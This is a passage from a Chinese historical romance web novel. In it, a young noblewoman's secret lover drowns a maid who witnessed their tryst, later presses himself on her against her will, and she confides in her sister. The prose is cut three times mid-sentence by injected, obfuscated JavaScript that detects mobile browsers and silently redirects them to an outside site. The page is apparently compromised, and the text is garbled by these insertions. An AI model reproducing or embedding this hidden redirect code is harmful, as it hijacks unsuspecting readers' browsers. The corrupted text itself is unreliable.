“哪儿也没去,在后湖的木亭子里枯坐了一个多时辰。”白蔻手里拿着给安宁更换的寝衣,“沉香姐姐,你去吩咐一声小厨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13466584|139954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 房,给姑娘做点容易克化的东西吃吧。她晚上没吃,怕她一会儿饿。” 沉香应了一声,放了白蔻去伺候安宁。 安宁梳洗完躺下,白蔻和沉香像往日一样放下幔帘关闭好窗户,熄灭了屋里的灯只留了角落的一盏照明,这才轻轻地退了出去,关好了内室的门。 安宁在幔帐里仔细地听着,听见两个大丫鬟走远了,这才悄悄起身撩开幔帘,从枕头下面掏出来一个拇指粗细的竹筒,打开蜡封倒出里面的纸条就着灯光看了起来。 她今日在木亭的坐凳栏杆底下寻到了伯言给她的信,上面只写了一句话:后日酉时相见。 她看着字条,猛地把脸埋进被子里,一直空落落无处安放的心落了地。 她起身寻到当初夹第一张字条的书,把这张纸条也仔细地放好,才安心回床上躺下闭上了眼睛。 接连晴了两日,第三日一早又开始飘起了雪花,雪花飘飘洒洒,在窗外安静的洒落。安宁心不在焉地坐在花厅里,心思却早飞到了九霄云外,一直惦记着今日傍晚将同伯言见面的事情。 严嬷嬷早发现她的魂不守舍,从坐进花厅开始,她便时不时地打量着窗外,眼下她在讲制香,安宁托着腮眼睛一眨不眨地看着窗外飘落的雪花,心思全然没有在课堂上。 严嬷嬷停下了讲解:“你们面前都备下了各种物事,现在就按照我先前说的,试着做一做。” 顾珂柔和段妮拿起了面前的香片放进研磨钵里,细细的开始将其磨成粉。安宁浑然不觉,仍盯着窗外。 严嬷嬷走到安宁身旁,直到嬷嬷的身影挡住了烛火的光亮,安宁才恍然察觉身边站了人。她抬头一看,见嬷嬷正慈爱地看着她,不由得脸上一红站起了身,低头嗫嚅:“嬷嬷……” 严嬷嬷走近了打量才看见安宁眼眶下带着淡淡的青紫,虽然极力用胭脂和细粉遮掩,仍是若隐若现地透了出来,再看她眼里带着疲色:“二姑娘可是觉着不舒服?” 安宁有些羞愧,她昨夜睡得不实。她摇了摇头:“嬷嬷,我错了。” 严嬷嬷没有多说,只是将香片放进了研磨钵,将捣杵交到她手里,示意她坐下。 越接近酉时,安宁的状态越好。就像枯萎的花朵迎来了细雨慢慢地苏醒绽放。她原本失神的眼睛渐渐亮起,脸颊带上了淡淡地红晕,整个人带着隐隐地、压抑的期待。 好容易熬到了申中,安宁唤来了白蔻:“把披肩拿来,你陪我出去走走。” 白蔻应了一声转身回房去取披肩,安宁站在廊下看着仍在飘落的细雪,今日虽然一直在落雪,幸好没有什么风,想来南湖风浪不大,伯言过来应该也能容易些。 “姑娘。”沉香替安宁披好了披肩,“咱们走吧。” 安宁微微皱起了眉头,往后头看了一眼:“怎么是你,白蔻呢?” 沉香应道:“方才大厨房那边来人把她叫过去了,她只好换了我,让我陪你去后面走走。” 安宁原想再等一等白蔻,可眼看着约好的时辰将近,从这边院子走到后头还有一段路,她只得带了沉香同行。 到了木亭里沉香点燃了火盆,待到炭火燃起开始散发暖意,安宁突然开口:“我有些饿了,你可备了吃的?” 沉香一怔:“姑娘,是我疏忽了。” “你去趟大厨房,给我做些吃的来。”安宁在坐凳栏杆上落座,披肩和裙摆在她身旁花瓣一样散开,“我想吃你做的桂花糯米糕。” 32. 31 沉香面露难色:“姑娘,我若是走了,只留你一人在此处……” 安宁有些不耐:“未出国公府,有门子有护卫,你担心什么?快去做了给我送来,你若是不放心,看见白蔻唤她过来伺候就是。” 沉香只得应下。 安宁伸出手,借着火盆里炭火散发的暖意温暖着自己的身体。这些日子一日冷过一日,眼看着就入了冬。 她抬头看向窗外,细密的竹帘将外面的景色分割成了整齐的横条,远处琉璃宝顶的皇宫也被白雪覆盖,积雪的飞檐与高大连绵的红墙相映,反倒在雪山上抹出安静的浓墨重彩来,如漂浮在半空中的一幅立体画卷。 湖边老垂柳的叶子落光了,光秃秃的枝条下垂着。安宁突然站起了身。天气寒冷,夏日里碧蓝的湖面化作了烟青色,一艘乌木油棚的小木船正破开湖面而来。 她跑到了栈道上等着,木船还远,岸边寒冷,她却丝毫不觉,胸腔里心砰砰地跳动着,跳得又快又急,身体里有一种奇怪的热量在翻滚,远比方才在炭盆边更让她觉得温暖。 他终于到了近前向她伸出了手,她毫不犹豫把手给了他,他用力将她抱下将她拥在自己怀里:“离得远远地就看见你站在这,不冷吗?等我到了再出来不也一样?” 她没有说话,依偎在他怀里听着他心脏有力地跳动,短短两日,她此刻看见他才发现自己竟然对他如此想念。这两日她就像丢了什么很重要的东西一般,没有力气提不起精神,做什么都没法集中注意力,夜里也不得安枕。 她在他怀里抬头,有些生气:“你肯定给我下了什么咒。” 他轻叹一声:“我若真能下咒,必然事事心想事成。” 他拥着她进了船舱。天气太冷,船舱里铺了厚厚的毛皮,也备了碳炉,暖意扑面而来,总算驱散了几分身上的寒气。 他在船舱里备下了吃食,还暖了一壶酒。他自顾自的倒了一杯,见她不错眼地看着他,他摇头:“你若是饮了这个,带着一身酒气回去,如何解释?” 她靠过去了一些:“平日里我们饮的都是什么桂花酿一类,淡得很。这酒闻着浓郁香甜,我就尝一点点,好不好?” 他没有说话,自己举杯一饮而尽,却突然偏头覆盖上她的唇。他的唇齿间带着几分酒的余香,有些辛辣又有些冰凉,她轻轻地嘤了一声想要退却,被他抬手按在怀里,不允许她逃脱。 安宁有些抖。每一次伯言的碰触都像打开了她某个未知的神秘领域,这两日的分别让什么压抑更甚,如今反倒如同熔岩一般喷薄而出。他的气息他的热量在这样的亲昵中不断地蚕食着她,逐渐加深了对那片领域的侵袭。她的心里像是被撕开了一个口子,又像是破了一个洞,里面深不见底,空落落地不知道用什么能填满。 他后退了些看着她,看着她迷蒙潮湿的眼睛。她的眼睛里含着浅浅的泪水,面颊泛着诱人的红润,她完全被他诱惑,他又何尝不是?他再度低头,用自己的唇仔细描绘着她的唇形。 这样的浅尝辄止让她不满,她主动回应了他。 伯言呼吸变重,抬手将她搂进了怀里。 两人肢体纠缠中酒壶被碰倒在地,壶盖摔落在一旁,酒液汩汩地流出,弄湿了地面铺陈的毛皮。浓烈的酒香在船舱里弥漫开来。 安宁仰起头,感觉到他的唇手在一路下滑,正意乱情迷中听见外面传来一个怯生生的声音:“……姑娘?” 这一声犹如晴天霹雳,瞬间劈醒了迷乱中的两人。安宁抬头,透过船舱飘飞的门帘,栈道上站着一个面色苍白的丫头,正一脸震惊恐惧地看着船舱内纠缠的两人。待看清了安宁的脸,她惊得后退两步跌坐在地,浑身发抖不敢说话。 伯言替安宁拉好下滑到一半的衣襟遮住露出的雪白肌肤,他看了眼远处,因为安宁这些日子总在这里独处的缘故,后门虽然大开着,但守卫和门子都在院墙内。 他轻轻一跃上了栈道,捂住那小丫头的嘴将她拖进了船舱。 “伯言!”安宁抓住了他的胳膊,她莫名地感觉到了一种森冷地恐惧,“你要做什么?” “她撞见了你我,难道还要留她不成?”他冰冷地开口,“若是传出去,你还怎么做人?” 她急道:“她是府里的丫鬟,自然有的是法子让她守口。” 那小丫鬟被伯言捂住嘴,只觉得他的胳膊仿佛铁箍一样,让她丝毫无法挣脱也无法开口,她察觉到了巨大的危险,流着泪求救地看着安宁,拼命地眨着眼睛。 “你记住一件事。”伯言的声音还是那么动人,从胸腔里低沉地震动,就仿佛在她耳边亲昵耳语时一般,说出来的话却没有任何温度,“这个世界上只有死人才能真正的保守秘密。” 他拎着那小丫鬟到了船尾,将她推进了冰冷的湖水中。小丫鬟拼命挣扎着,他面无表情的按在她头顶,不允许她浮出水面。 安宁扑过去抱住他的胳膊:“你放手啊,别杀她!她是无辜的!” 他轻易的一手将小丫鬟按在湖水里,一手将她抱进了自己怀里。他将她按在自己的肩头不许她看,在她耳边轻声耳语:“她撞见了这一幕,便不无辜了。” 这短短的几息时间似乎过得极快,又似乎无比的漫长,湖里扑腾挣扎的水声消失,耳边只余下水浪轻轻的涌动声。 伯言松开手,小丫鬟的尸体缓缓地沉了下去,慢慢被湖水吞没。 他将她抱住,感觉到她在他怀里不停地颤抖着,她的脸上全是惊惧的泪水,他轻声安慰:“别怕。” 这是一个梦吧? 这一定是一场梦,是一场深沉混沌的噩梦。 安宁看不清东西,四周围的一切都像蒙上了一层深灰色的浓雾,浓雾里的人脸影影绰绰,声音从极远的地方传来,懵懵懂懂无法听清。 曹婉焦虑地看着太医,等他诊完脉问道:“宁儿如何了?” “县君落水受了大惊吓,又被寒气侵体,如今忧惧在心,神魂不宁。”太医皱眉捋着胡子,“老朽需得好好斟酌一下药方,如今先要宁神驱外邪,这几日要好好静养。” 曹婉看着在床上不断颤抖脸上没有一丝血色的小孙女,心如刀割一般:“有劳大人。” 太医道:“县君今夜恐有高热之虞,老朽便在此守着,老夫人尽可放心。” 外间里沉香和白蔻跪在地上,于嬷嬷面如寒霜:“你们怎么守的姑娘?” 白蔻叩首在地不敢说话,不断地流着眼泪。 沉香磕了个头道:“嬷嬷,白蔻被大厨房的人唤走了。我陪姑娘去的后湖,到了木亭姑娘想吃我做的桂花糯米糕,吩咐我去做。我怕她一人不安全,路上便叫了个小丫鬟过去陪她。等我再去时,就见姑娘晕倒在湖边。幸好那处水浅,又有树根挂住了她。”她后怕地叩首在地,“是我的疏忽,请嬷嬷责罚!” “嬷嬷。”外间进来了一个管事婆子,压低声音在于嬷嬷耳边道,“还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13489660|139954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没找到人,眼下请了水猴子在湖里打捞着,那边说最快怕也要两日才有消息。” 于嬷嬷叹了口气:“造孽啊,这么冷的天,就是捞到人也没了。”她看向白蔻和沉香,“你们二人先起来好好伺候着。等姑娘清醒了,再做计较。” 白蔻抹着眼泪起身,和沉香一起进了内室。 安宁一时身上极热,像是置身在火焰里一般,烧得她肺腑都要成灰,一时又觉得极冷,感觉被人挪进了冰窖,那寒意如千万利针扎着她的每一处肌肤,让她浑身颤抖。 木船上伯言捧住她的脸,用拇指擦去她脸上的泪水,低头啄了啄她的唇:“别怕。”他抱起她走到船头跳进湖里,冰冷的湖水从四面八方涌来,她恐惧地牢牢搂着他的脖子,他屏住气息将她推到岸边,低声嘱咐:“我走了你便去求救。” 木船慢慢离开了湖岸,浓雾从四面八方漫起,吞没了小船、吞没了湖面也吞没了她。 白蔻见安宁在抽搐着,按照太医的吩咐牢牢地按着她的手,忍不住的落泪:“姑娘这是怎么了?” 太医掰开了安宁的嘴巴,往里塞了一根软木让她咬住,防止她咬伤自己:“高热惊厥。你们好好按住她,老朽要施针。” 沉香上了榻,跪坐在安宁另一侧,她沉着地压住安宁的另一边胳膊和身体。太医神色严肃出手迅疾,额头隐见汗珠,小半个时辰后安宁的状况好转,他这才长吐出一口浊气,扭头问白蔻:“劳烦姑娘去小厨房看看药熬好了没有,若是好了端来给县君服下。”随即又嘱咐沉香,“今夜要好好守着县君,她汗透了衣裳便替她更换寝衣,仔细些不要再受风。明日若是退了高热,便当无虞了。” 天明时雪停放了晴,几只麻雀在窗外吱吱喳喳叫个不停。几丝天光从琉璃窗户透进室内,白蔻累极,伏在桌子上睡着了,沉香还坐在床边,不知疲倦地拿投了水的毛巾替安宁轻轻擦着手心脚心退热。 安宁觉得身体舒服了很多,从无止境的噩梦里缓缓醒来。大床的幔帐没有放下,她睁开眼便看见了透进来的天光。沉香的声音在耳边轻轻响起:“姑娘,你醒了?” 她看向沉香,觉着自己身上没有一丝力气,一开口声音沙哑难听:“我怎么了?” 沉香细细地替她盖好被子:“你落了水,受寒受惊发了一宿高热。不过太医说了,今儿个一早只要能退热就没什么大碍。” 她眨了眨眼睛,猛然间伯言捂住小丫鬟的嘴、他按着小丫鬟的头不许她浮出水面、小丫鬟拼命求救挣扎的画面如潮水般袭来。她猛地坐起身,用力抓住沉香的手腕,面色苍白翕动着嘴唇:“那个丫鬟!那个丫鬟呢?” 白蔻听见安宁的声音睁开眼睛,欣喜地扑了过来:“姑娘,你醒了?!”她摸了摸安宁的额头已经退热,“我这就去告诉太医!”说罢风一般转身跑出了房间。 “府里请了水猴子,还在打捞着。”沉香看见安宁眼睛里深深的惊惧,开口安慰,“姑娘,我们卖身到府里,早就做好了准备,生死由命。不知道多少做下人的,不被当人看待,过得连畜生都不如。国公府待我们极好,若是能救你,一命换一命大家都是愿意的。” “不。”安宁流着泪摇着头,“是我害了她。” 沉香眼里浮起了忧虑,待要再劝,白蔻带了太医进了内室,她只得作罢。 曹婉听说安宁清醒也赶了过来,心疼地握着她的手打量着她:“你这孩子,好端端地,怎么会落水?!” 33. 32 “祖母。”安宁扑到曹婉怀里,眼泪不停滚落,她带着浓重的哭腔开口,“都是我的错,都是我的错。” 曹婉极为心疼,想来是小姑娘贪玩去了岸边,这才失足落水。她已经受了这般大的惊吓,她也不忍再苛责追问,轻轻拍着她的背安抚:“不怕不怕,祖母在这。” 安宁心里又悔又怕,在曹婉的怀里哭得泣不成声。 又过了两日,水猴子捞起来了那个小丫鬟的尸首,保国公府将其厚葬,又给她家里人送去了不少银两,好生安抚了一般。那小丫鬟家里如今只剩兄长和嫂嫂,拿了银两没再追究反而千恩万谢,这件事就算揭了过去。 安宁自那日之后,整个人便仄仄的提不起精神。虽然退了热身体也慢慢好转,可她似乎神魂分离,整个人总是游离着,不怎么吃饭也不怎么说话,整日整日将自己关在内室谁也不见,严嬷嬷的课也因为她落水的事暂时停了下来。 傍晚时分于嬷嬷伺候曹婉用晚膳,花朵状的白瓷小碗里盛着熬煮得软糯的鱼粥,曹婉却只尝了一口就摇头示意于嬷嬷将饭食撤下。于嬷嬷见状心里着急:“老夫人,姑娘这些日子不爱用膳,您疼惜她也吃不下东西。可您若是饿个好歹,谁又能顾着姑娘呢?” 曹婉叹了口气:“幸好宁儿平安无事,若是她……我如何同桦儿交代?” 于嬷嬷将碗端到曹婉面前,舀了一勺粥喂她:“我特地嘱咐小厨房做了酸笋丝,配这鱼粥最是酸爽开胃,您就再用一点吧。” 曹婉拗不过她,勉强吃了小半碗,心里仍是惦记安宁:“依我看,宁儿是落水受了惊,最好是去一趟寺庙,请高僧替她镇魂宁神才是。你去吩咐一声,让他们备好车,这两日若是不落雪,我们就去一趟广宁寺。”曹婉转念一想,“后头通向后湖那个角门,叫几个匠人来,把它封了吧,省的姑娘再去那处,看见了害怕。” 于嬷嬷应下。 隋明寺香火极盛,加之秋有海棠冬有腊梅,香客和游人如织。广宁寺却十分清净,寺院座落在群山环绕之中,幽深的山路一路行来只有保国公府的车驾不见一个外人。路两旁密布着数十年年份的松柏林,在白雪中依旧苍翠,森林深处偶尔听见几声枭啼,更显幽静。 安宁下了车,抬头看向广宁寺的山门,眼前一坡石梯往上似乎没有尽头,石梯上的积雪打扫得干干净净。她回头看向刚刚下车的曹婉,内疚地扶住她的胳膊:“祖母,累得你辛苦走这山路了。” 曹婉拍了拍安宁的手背:“祖母还没有那么老,这点路还能走。” 引路僧在前,耐心地领着一行人走走停停,约莫小半个时辰后终于到了寺庙的正门前。眼前座落着一个庄严大气的建筑群,隐约可闻内里传出的梵音阵阵,安宁听着那诵经声,怔忡了片刻。引路僧行礼道:“这个时辰师兄们正在做功课,几位请同我来。” 又在曲径通幽处行了一段,终于到了供她们落脚的小院。引路僧再行一礼悄然离去,由着保国公府带来的下人们安顿。 曹婉去寻主持,留了安宁在院里。这院落没有地龙也没有备炭火,房间里十分寒冷,偏生打扫房间的小僧侣还支起了窗户透气。白蔻忙着去关窗,沉香则去准备取暖用的炭盆。安宁仄仄地坐在圆桌旁看着院子里忙碌的众人发呆,如同一个雕塑一般。 “姑娘。”沉香去而复返,“方才黄近侍过来同老夫人问安,朱四爷就在隔壁呢。” 朱思就在隔壁? 安宁起身走到窗户旁向外看去,隔着低矮的雕花院墙,果然看见那边院子里站着一个眼熟的人,不是朱思是谁? 她快步走出了门,又猛地在长廊处停下了脚步,远远向着那边福身行礼:“见过四叔,四叔日安。” 天气寒冷,朱思穿着一身雪青色长袍,外面披着玄色的厚毛大氅。他腰间坠着青玉牌,还有一个拇指大小的透水白玉葫芦,另有一个青色的香囊。见她这般守礼,他露出了微笑:“瞅着规规矩矩的,可见这些日子在保国公府确实学到了一些东西。” 安宁有些惭愧:“四叔不要取笑我了。” 他温声开口:“听说你前几日落了水,如今身子可好?” 安宁低头回答:“好多了。有劳四叔挂心。” 她站在那里,穿着一身淡紫色镶嵌狐毛出锋的冬衣,沉香怕她在外面冷,拿了绣着缠枝花纹的月白色棉披风替她披上。她病了几日清减了不少,原本略带圆润的脸庞变成了瓜子脸,更显大眼如秋水。 少女往日的活泼消失不见,眉宇间带上了几分轻愁。她似是有浓重的心事,自我强制压抑着,却没有逃过他的眼睛。 他问她:“发生了什么事情?” 她有些诧异地抬头看了他一眼,又迅速低下了头,顾左右而言它:“四叔,外面天冷,还是回屋去避避风的好,仔细受寒。” 他微微皱了皱眉头。 在太师府的时候虽然隔着两道高高的院墙,彼此看不清对方只能闻其声,可她的小动作小心思仿佛都在眼前。如今她就在不远处站着,半人高的雕花院墙让彼此清晰可见,两人间却划下了鸿沟隔着遥远的距离。 他于她不再是太师府里那个可以夜谈交心的四叔,他被她推到了一个远远的位置。 他道:“不过短短月余,你何至于生疏至此?” 安宁垂着眼眸轻轻摇头:“往日是我不知守礼逾矩,幸得四叔不同我计较罢了。” 他轻轻捏了捏拳有些气闷,想说什么,看着她病后在寒风中消瘦低沉的模样,终究是化作了一声叹息:“……也好。” 安宁福了一福,转身回了房间。 曹婉带着安宁在广宁寺小住,白日里除了同祖母去听讲经,她轻易不出门,仍是整日整日的闷在房间里,和往日截然不同。曹婉看在眼里,心里担心,吩咐于嬷嬷去劝一劝她,广宁寺后山的腊梅开得极好,让她去看一看。 于嬷嬷使了一个小丫鬟去后面剪了几支红梅,用细口长颈的瓷瓶装了送到她的房间。眼见安宁看着红梅,于嬷嬷趁热打铁:“姑娘,后山漫山遍野都是腊梅,今日日头这么好,姑娘不如去后面走走。” 安宁面露迟疑之色,于嬷嬷温声劝道,“老夫人选广宁寺没有去隋明寺,皆因这广宁寺后头有太妃长住,这边是皇家的寺院,前头后头都有护卫守着,外人轻易不得进,姑娘大可不必害怕会被外人冲撞。” 安宁不愿出去,是怕伯言仍如往日一般,在看不见的暗处候着她。前些日子她时时刻刻都想着同他相见,不见之时内心如被蚁噬一般。每当他冒险而来,她觉得既危险又着迷,那种突破束缚的感觉十分刺激,成为了心瘾让她被诱惑不可自拔。 可如今想起他尽是他按着小丫鬟的头不让她浮出水面,神色冷然的一幕。她觉得满心惊惧冰冷,只想在屋子里避着,害怕同他相 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他轻轻叹了口气:“前日是我亡母的忌日,每年这个时候,我都会在这里小住一段,一则替亡母祈福,二则也算避个清净。” 偏殿里走出来一个小和尚:“外面风大,二位请到旁边禅室小坐等候。” 为了避嫌禅室的门窗都大敞着,安宁和朱思各自在木桌两旁落座。小和尚上了热茶又退了下去,白蔻和黄近侍在门口守着。 安宁突然想起一事:“四叔,你的婚事定了吗?可还在为此事心烦?” 他正揭开茶盏的手一顿,放下了茶杯:“母亲定了她母族的一个女子,说是才貌品行俱佳,不过尚未最后落定。” 安宁诚心恭喜:“恭喜四叔。” 外面传来钟响,一声一声,空灵悠远洗涤心灵。他看着她的侧颜,她正出神地听着那钟声,这些日子的惊惧不安在钟声中平复了不少。她问:“四叔,你说人死了之后,是去了哪里?” 他的视线也转向了门外,看着半空中缭缭升腾的青色香火:“都说人死如灯灭,万般皆空。我倒希望真有魂灵,去了一个我们不知却无痛无灾之处。这样百年后还有重聚之时。”他话里深切的伤痛和孤独让她转过了头看向他,他迎着她的注视温言开口,“你若有难处,不妨同我讲一讲,或许我能帮你。” 安宁看见了回转的沉香,起身同朱思道别:“四叔,我先去做法事了。” “安宁。”他唤住了她,“我今日便要下山。”他取下腰间的青玉牌交到她手上,“这个玉牌你拿着。若要寻我帮助,就拿着这玉牌去北大街黄家府邸,他们会把话带到。” 安宁郑重道谢:“多谢四叔。” 夜幕降临,白蔻和沉香伺候安宁躺下后轻轻关上了内寝的房门。安宁平躺在床榻上看着烛火光影摇曳的屋顶,四周围一片静寂,安静得能听见自己的心跳声。房间里弥漫着淡淡的檀香味,她难以入睡,不安地翻了个身强迫自己闭上眼睛。 窗户处传来一声轻响,窗棂咔哒一声。安宁轻叹一口气,以为是夜风晃动了窗扇,然而没过几息身后贴上来一具极具压迫力的身体,从后牢牢将她拥在怀里。安宁大骇,来人为了防她叫出声用力捂住了她的嘴。 伯言低沉的声音在她耳后响起:“别怕,是我。” 34. 33 安宁震惊地回头,迎上他幽深的眸子。他的身上带着外面凌冽的寒气,见她看清了他的模样,他放开了捂住她嘴的手,扳过她的身体让她面对他:“为什么要躲着我?”她看着他,满眼都是惊惧。他慢慢眯起了眼睛,有些生气:“你在怕我?” 安宁看着他,嘴唇翕动着,一时间却不知道说什么。她看着他,又惊又怕,再无往日半点见到他时的惊喜和欢娱,他眼里浮起了不耐:“你还在因为那个小丫鬟的事怪我不成?” 幔帐狭小的空间内他紧紧拥抱着她,怕被外面值夜的丫鬟听见,他刻意压低了声音。室温化掉了他身上的寒气,他身体本身的热力透过衣物传过来。她准备安寝穿着单薄的寝衣,他为了行动方便同样穿着单薄的夜行衣。如今这般拥抱着,体温渐升,热力交汇,氤氲出了别样的压迫。 “阿宁。”他沙哑亲昵地唤着她的名字,抵着她的额头轻声解释,“我是为了你,才对旁人下了狠手。我想保护你。” 他的指尖顺着她的寝衣边缘碰触到了她的肌肤,她按住了他的手腕:“不行。” 往日她在他怀中,只要他一碰触,她就似化作了一泓春水。今日的她却始终僵硬着身体,带着戒备和抗拒。这反而激起了他的征服欲,他的手落在她的腰后,将她按向自己怀抱的深处,他的唇落到她的唇上,含糊不清地问:“什么不行?” “不……”她想要开口反对,反被他趁虚而入。 “你别……”她在他略微放开她的间隙挣扎着,她用力推着他的肩膀,这才发现两人天差地别的力量对比,她的拳落在他身上不痛不痒,他却压制得她无法动弹。 她剧烈地挣扎反抗终于让他停下,他贴着她的脸颊:“你不想我?” 他放松了对她的禁锢,却仍亲昵地摩挲着她的唇。她看着他,身体微微地颤抖着,声音也带着颤音:“我怕。” “怕什么?”她这般惊恐疏远让他越加的烦躁和不耐,他强压着内心的情绪,“你说那丫鬟是国公府的下人,无论如何都能让她守口。她是国公府的下人,却非你的心腹。她撞见了你我,她不会去告知你祖父祖母?” 安宁僵住。 他接着道:“便是她一时因为害怕,没有去国公夫人那里。她才多大?心里藏得住这么大的事?若是她说与了她亲近的人听,你可知一传十,十传百,世上没有不漏风的墙。到时候满城风雨,我去国公府提亲也挽回不了几分。” 他定定地看着她,“于我而言,只有你才值得我去保护去考虑,旁人皆为蝼蚁。杀了她能保全你,你觉得我狠毒,我也要这么去做。”他问她,“阿宁,就因为这个,你要一直怕我怪我不成?” 她没有说话,心里的惊惧却在他的话语中消散了大半。她心绪复杂地慢慢抬起手轻抚上他的脸:“我……” 他沉着脸拉下她的手翻身下榻,不发一言越过后窗消失在了夜色之中。 在广宁寺小住数日后,安宁回了国公府。 顾珂柔听说她回来,一早便来看她。见安宁气色虽然好转了许多,眉宇间仍有忧色。她坐到她身旁:“你这些日子心事颇重,可是遇到了什么难事?” 安宁抬头看向姐姐,她的眼里是毫不掩饰地关怀之色。安宁上前搂住姐姐的脖子靠在她的肩头:“姐姐,我心里憋得慌。” “怎么了?”她轻声安慰,“是在家里拘得太久了?要不要同国公夫人说一声,这些日子我陪你出去逛逛?” 安宁缓缓摇头:“姐姐,那日我落水……”她不知道该如何开口。伯言的事情开始是让她想起来便止不住暗地里偷笑的小秘密,可如今渐渐变成了压在她心头的一块巨石,沉甸甸地让她喘不过气来。 小丫鬟只因撞见了她与伯言私会便无辜枉死,可他说的也并非没有道理。说到底,他是为了她才动手杀人。可是……可是即使是为了她,她仍觉得心头堵得慌。她原本觉着他做的是错的,他一番辩解后,如今她已经分不清对错。 顾珂柔耐心地等待着她继续往下讲。安宁却转了话头:“姐姐,你说,一个人会为了另一个人去杀人吗?” 顾珂柔有些意外:“你怎么这么问?” 她撒娇地轻摇姐姐的胳膊:“我想知道嘛。” “你说的这种事,倒也不少。”顾珂柔想了想,“我听闻江湖侠义之士,有的为了承诺、有的为了情分,甚至有的人只为了恩人施舍的一顿饱饭,便会替他们动手杀人。” 安宁抬头,无辜地看着姐姐:“我不是说的那些侠士,我说的,会有人为了自己喜欢的人去杀人吗?” “倒也有……”顾珂柔迟疑了一下,“但是都并非什么好事。为了情爱动手杀人,多是爱而不得或怀恨在心,你怎么突然问这个?”她又追问了她一次。 安宁长长地叹了一口气,垂下眼眸:“如果一个人为了保护他喜欢的人,不想她受到伤害犯下了杀孽……” “虽看上去是个痴情种子,却十分可怕。”顾珂柔察言观色,回想起安宁说的第一句话是她那日落水,再联想到那个溺毙的小丫鬟,她不由得暗暗心惊。她稳了稳心神,“这样的人十分极端,他喜欢你的时候,能为了你动手杀人,若有一天他变了心,再为了他心爱之人,你是否也会变成他的刀下亡魂?说到底,他为的不是他喜欢的人,不过是为了他自己罢了。” 安宁欲言又止。她想将伯言的事情和盘托出,若说有人能让她倾诉心事并且十分信任,也唯有顾珂柔一人。 看着她迟疑的样子,顾珂柔的心跳得更快,她握住了安宁的手腕:“你……你那个丫鬟……”她的声音有些发抖,她抬头看了看四周,房间里只有她们姐妹两人,门窗都紧闭着,白蔻沉香还有她带来的丫鬟都在外间候着,她压低了声音,“不是意外?!” 安宁抬头看着姐姐,两人四目对视,空气一时间凝滞,片刻后,安宁缓缓点了点头。 顾珂柔的心猛地一沉,她握着安宁手腕的手不自觉地用力,她又气又急:“他是谁?!” “姐姐。”安宁往后抽自己的手,“你弄疼我了。” 顾珂柔放开手,深呼吸一口气。她觉得整个身体都在发麻,那种麻痹感从心口一直传到嘴唇。她握紧了拳头强自让自己镇定。到了杀人灭口的地步,必然是撞见了了不得的事情。 “你?!”论到了她欲言又止,她毕竟是未出阁的黄花大姑娘,实在问不出口,“和他可有犯下大错?” 安宁摇了摇头:“虽不曾犯下大错,却也……却也十分亲近。”她的声音越来越低,低下了头。 顾珂柔霍然站起身。她看着眼前乖巧美丽的妹妹,想要骂她糊涂。可事已至此,如今骂她又有何用? 她追问妹妹:“这事情,有没有旁人知道?!” 安宁摇头:“再没有他人知晓。” 这世上哪儿有不漏风的墙? 顾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13509388|139954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 珂柔快步在房间里来回踱步。这件事可大可小,若是闹将出去,太师府和国公府的名声尽毁,就是她也会被牵连。最好的法子不外是趁着没有走漏一点风声,让安宁远避,弄清楚对方的路数,再做旁的应对。 她坐到安宁身旁:“他是哪家的?” 安宁看着姐姐,眼里露出了几分迷茫。她在开阳时初遇他,只知他来自京城。如今她在京里住了一段日子,在长兴侯府见过他,听人叫过他世子,可是他到底是哪家的世子,她却全然不知:“我只知道,旁人叫他世子。” 顾珂柔叹了口气:“平日里倒也觉得你机灵,怎么却在这件事上犯了这样的糊涂。他同你这般亲近却还隐瞒身份,何以见得他诚心?他若真心爱护你,又怎么做的都是置你于万劫不复之地的事情?!”顾珂柔细细盘问,“你日日都在府里,你们是如何相见?” 安宁便将伯言如何寻她的事情从头到尾讲了一遍,顾珂柔越听越心惊,这人好大的胆子!竟然就在国公府的眼皮子底下犯下了这么大的事情! 她按住安宁的手背:“你不要再同他相见。” 安宁低下头:“我若是出府,他总能想到办法来见我……” “那你就留在府里,闭门不出。”顾珂柔打断了她的话,“宁儿,你既然将此事告知我,可见在你心里,是十分信我的,对不对?” 安宁信任地点点头:“我也不知能同谁讲,在心里压得厉害。” “那你就听我的,老老实实待在府里,不要再给他可乘之机。”顾珂柔叮嘱妹妹,“此人狼子野心,所图未必仅仅是你的美色。” “姐姐。”安宁有些着急,“你不要告诉大伯母和祖母。” 顾珂柔沉思片刻:“你若答应我,从今日起闭门不出,我便先不告诉她们。若你能干干净净同他至此断了往来,此事我便当不知,就此揭过。” 安宁看着姐姐的眼睛,迟疑稍许,点头应下。 